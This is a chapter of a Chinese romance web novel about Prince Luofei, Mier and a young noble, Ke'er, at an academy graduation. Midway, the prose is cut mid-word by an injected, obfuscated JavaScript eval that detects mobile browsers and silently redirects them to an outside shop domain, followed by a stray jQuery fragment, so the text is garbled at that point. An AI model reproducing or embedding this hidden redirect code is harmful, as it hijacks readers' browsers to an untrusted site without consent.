圣西尔学院的庭院铺满秋日的碎光,红毯从正门一路延伸至主楼台阶,两侧是金黄色菊花坛。
庭院里来来往往的青年全是艾瑟兰的精锐,不问出身,只看能力。
精英云集,圣西尔学院的毕业典礼自然隆重。
今日的阵仗,倒是比往年更盛。
从焕然一新的陈设便看得出来,唯一不变的是炎热的天气。
明明入了秋日,日头却毒得像盛夏。
洛斐微微垂首,看了眼周遭无人,按了按发烫的后颈,缓解肌肤的阵阵灼热。
往年他只是被莱因哈特喊来充数的王室花架子,来与不来,甚至是晚来,都无关紧要。
但现在不行,不仅是他要毕业了。更重要的是,米尔至今仍未给他答复。
洛斐早早地来等待,却依旧未见米尔的身影,甚至还被烈阳晒得头脑发胀,视线模糊。
洛斐正垂眸思索着。
是不是米尔忘记了那不算正式的邀请,或是有了其他安排而有所耽搁。
早知道如此,就该直奔米尔卧房,而不是跑来毕业典礼傻傻地等着。
洛斐越想越懊恼,忽地坐起身来,身旁身着华服的贵族们见状,一时惊动,纷纷欠身问候。
“殿下,您毕业快乐,能见证这一刻是我等的荣幸。”
洛斐微微颔首,礼数周全。
他心知这些贵族大多是来看望自己孩子的,便不多言,只说了句“同喜”算作回应。
那些一开始纷纷前来搭话的贵族们,便顺着洛斐的话告了辞,各自散开去寻找自家儿女去了,唯有一位仍留在原地,不离开。
洛斐不解地看了眼那人,服饰朴素,稚气未脱的相貌,胸口别着一枚徽章,是连洛斐也一时无法辨认的纹样。
洛斐只当是偏僻领地的贵族子弟不明白流程,顺势询问:“你需要帮助?”
“殿下,我有些问题,是……”
那人开口时,语气支支吾吾,口吻也不大对劲。
洛斐收了笑,说:“你有什么困难,直说便好,我会尽力为你解决。”
洛斐隐隐不安,他许久不在艾瑟兰,要是真有乱子,莱因哈特和薇洛希瞒着他也不无可能。
洛斐等着他说出什么惊天大事,对方却犹犹豫豫地开了口:“殿下,可有婚配的意愿?”
洛斐愣了一瞬,“?”
秋讯,纷争,他都想过,唯独漏掉了这一件。
虽说艾瑟兰并无禁令禁止贵族过问王室婚事,但也从未有人像这样如此直白地向洛斐提起来。
洛斐稳了稳心神,见对方说完也是一脸忐忑,便知道询问婚事绝对只是由头,真正的麻烦还在后面。
洛斐斟酌着语句,不咸不淡地开口:“婚事我并无打算。但你的问题,我大概能替你解决。”
对面的青年揪着袖口,深深地叹了口气,一鼓作气地说:“我来自克兰德家族,是父亲们的小儿子。”
“父亲?克兰德公爵和莫斯里骑士?”洛斐问。
“是的。”青年继续补充道:“父亲的身体日渐衰弱,常常四处求医,无暇顾及领地事务。再加上北方地区气候骤变,收成也大不如前。”
洛斐微微蹙眉,问他:“你是想用和王室联姻来解决领地问题?”
青年顿了顿,又顺势点点头。
洛斐算是听明白了来龙去脉,但依旧对此略微不解。
艾瑟兰的律例明明白白,领地遭受灾害,王室定会援助,怎么就到了让一个晚辈用婚约来换出路的地步。
洛斐问他:“求援书,你们递过了吗?”
“是的,递交了三次,但物资和粮食迟迟不来。”青年语气带着些愤愤不平。
洛斐沉默了片刻。
莱因哈特对王国各地事务向来上心,从早到晚一件件亲自过目,绝不会如此疏忽,无故拖延物资。
洛斐看向依然谨慎且紧张的青年。北方领地离温斯洛不算近,对方特意赶来,想必是无可奈何。
“王室会帮你解决,我也会亲自着手,不必担忧。”洛斐抬眸看向尚未开始筹备的颁奖台,轻声宽慰他,“你要是想回家,我派人护送你,若是想先留下,也随你。我同样会派人带你逛一逛温斯洛。”
“多谢殿下好意,不劳烦了。”青年侧过身,目光落向远处,“我姐姐也是圣西尔学院的学生,她会来接我的。”
对方有人接应,不至于流落街头,洛斐便不再强求,而是认真开口:“请先不要告诉克兰德公爵和莫斯里骑士,我很快便会去调查,解决。”
青年点了点头,抬眼看向他的时候顿了一瞬。
洛斐见他惊讶,面露不解。
他也没有不堪到使人诧异的程度,还没来得及开口问他怎么了,身后便传来一道熟悉的声音,不似平时的波澜不惊,倒像是急匆匆地赶来的,“典礼还没开始?”
洛斐倏地转身,见米尔站在几步开外,衣袍微乱,撑着身旁的花坛,大口喘着气。
许久不见面,洛斐来不及高兴,快步走去,弯着腰去看他的脸,问:“米尔?你怎么来了?”
米尔看了他一眼,语气无奈,“殿下是明知故问还是逗弄我,不是你邀请我的吗?”
洛斐递给他随身携带的手帕,重新问了一遍,“我是说,你怎么来得如此匆忙?”
“偶遇了旧友。”米尔站直了身,呼吸渐渐平了下来。
他抬眼看向台上,圣西尔的院长正在讲话,典礼已经开始了,而洛斐还站在他身旁,一步也没动。
米尔不解地问他:“殿下,你不用前去领奖吗?”
洛斐还愣着,没想明白米尔为何忽然恢复如常了,但被对方一问,顺口就答:“你没来,我不想去。恰好遇到了需要帮助的人。”
洛斐这才想起来,转头看向刚才的位置,“对了,我给你介绍……”
洛斐视线移向那边时,座位空空荡荡,早就没了那人的身影。
洛斐见人未打招呼便离开了,只好让米尔先坐下,说:“奇怪,转眼便没影……”
“……你好。”
一阵幽幽,又带着微末喜悦的问候从座椅下方传来,洛斐猛地拉着米尔起身,两人同时低头——那青年不知何时钻进了座位下方,正抬着眼,朝他们尴尬地笑了笑。
洛斐和米尔搭手将人拽起来。
就算是典礼后排,也不能如此无法无天。
洛斐面色不悦。
那人也自知不妥,耳根子红了一片,微微抬眸看了米尔一眼,连忙别开脸,解释:“我是见到了韦恩菲尔德大人,有些紧张,就,就想要先行离开,结果没跑成,摔倒了。”
“他是……”米尔看了眼眼前的青年,确定不认识后,望向洛斐询问。
“他是克兰德公爵和莫斯利骑士的小儿子,是……”洛斐转身看了他一眼,那人连忙接道,“科尔,科尔·莫里斯。”
“……科尔?”
米尔皱了皱眉,他对这个名字依旧毫无记忆。
科尔放下方才的拘束,认真看向米尔,语气是压不住的雀跃,“去年秋日赛马会,我说您骑得真好。”
米尔怔了一瞬,随即笑了。他记得,那时确实有个少年来夸过他。
米尔打量了他一周,说:“你长得好快。”
“……还好。”科尔顺势坐在米尔身旁。
洛斐被晾在一旁,坐在最边上,看着两人聊得热络,他反而像个摆设。
科尔哪里还有方才的可怜兮兮的模样,家族问题,领地收成,统统不管了。
直到科
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732522|203838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尔的姐姐来喊,才一边朝他们道谢,一边将那依依不舍的人给领走了。
洛斐暗自松口气。
不知道的,还以为是故人重逢。
“你为何不去领奖?”米尔环顾喧闹的庭院,目光落向身旁的洛斐,明明也是主角,非要坐在最后边等待仪式结束。
“你没来,我不想去。”
“不是怕抢了他们光彩?怕典礼乱了套?怕他们无法好好享受。”米尔问得直截了当。
洛斐偏头看着他,认认真真地回答:“我并不如你想得那么周全。抢风头尚且谈不上,抛开我的身份,我未必比得上他们,但王子身份的确会吸来些目光。”
“况且你向来讨厌在人前频繁地露面,不领奖也好。”
马车邀请米尔后,洛斐便想清楚了,他太不顾对方意愿了。
米尔本就讨厌众目睽睽,洛斐的登场又势必激起纷扰,还不如安安静静地待在下面乘凉。
洛斐说完,余光瞥向一旁不搭他的话,对方真板着脸,认真观看仪式的米尔。
洛斐叹口气,掰正米尔肩膀。
“……那你又为什么会来了?不是对我避而不见吗?”洛斐看着他的眼眸,直白地问他,“你那日怎么了?慌乱离开的那日。”
洛斐将挤压许久的话尽数挥洒,生怕米尔一起身又离开了。
好在米尔只是顿了片刻,微微抬眸,思索了一会,说道:“那日离开是晕车所致,身体十分不适,后来养病不见客,并非是对殿下避而不见。”
“至于为何会来……大概是不愿见殿下无人颁奖而惹人议论。”
洛斐微微蹙眉,问他:“真的?……不是因为旧友的婚礼邀请?”
这下轮到米尔不解了,反问:“婚礼?谁的婚礼?”
听完米尔郑重的回答,洛斐心里终归明了。
毕业典礼前埃迪便提议道,不论洛斐的邀请米尔会不会答应,他都会来。
因为米尔旧时结识的那位导师即将举办婚礼,米尔不接客也不收信件,唯有这个机会能将人请出来。
但眼下看来,米尔还不知道呢。
洛斐对此甚是满意,至少证明了米尔是为了他而来,并非是埃迪所说的旧友婚宴。
洛斐嘴角扯了扯,随口回了句:“没什么,有些惊讶你如此讲信用,对了,你的身体好了吗?”
“明日我们一起去趟卡斯弗那里,看看你恢复得如何,顺便请他查一查你的旧疾。”
他们一说开,洛斐的话仿佛开了闸,怎么也停不住,米尔只好率先开了口:“谢谢殿下的关心,只是头晕些,……早就无碍了。”
“不能轻视一切病症。”洛斐自顾自地说:“你那日便是,随时随地便能复发,绝对不能轻视。”
米尔垂首不回答了,见洛斐还在喋喋不休地嘱咐他要注重身体,忽地拽住他的袖口,抬眼看他,“知道了,你提起的,我自然要好好对待。”
米尔话音刚落,洛斐怔愣了一下,而后嘴角扬起的幅度更高了,笑意更浓了。
心里有种说不清道不明的喜悦,像是早晨吃下的浆果在心口软化开来。
“你知道便好。”洛斐任由他拽着袖口,两人贴得很近。
他原本还想询问对方是否要继承王位,但见米尔难得放松,也不敢问了,怕米尔不高兴。
尽管,米尔也没高兴起来。
米尔松开手,神色如常,甚至将两人的距离拉开些。洛斐不解,将这份退让归咎于燥热的天气。
典礼仪式终于结束,结果院长又忽然要去讲些话,无非是那些夸赞莱因哈特的场面话。
洛斐抬手给身旁米尔扇着风,目光顺势看向他的手腕,忽然顿住了。
“这是什么?”洛斐将他的手腕微微抬起来。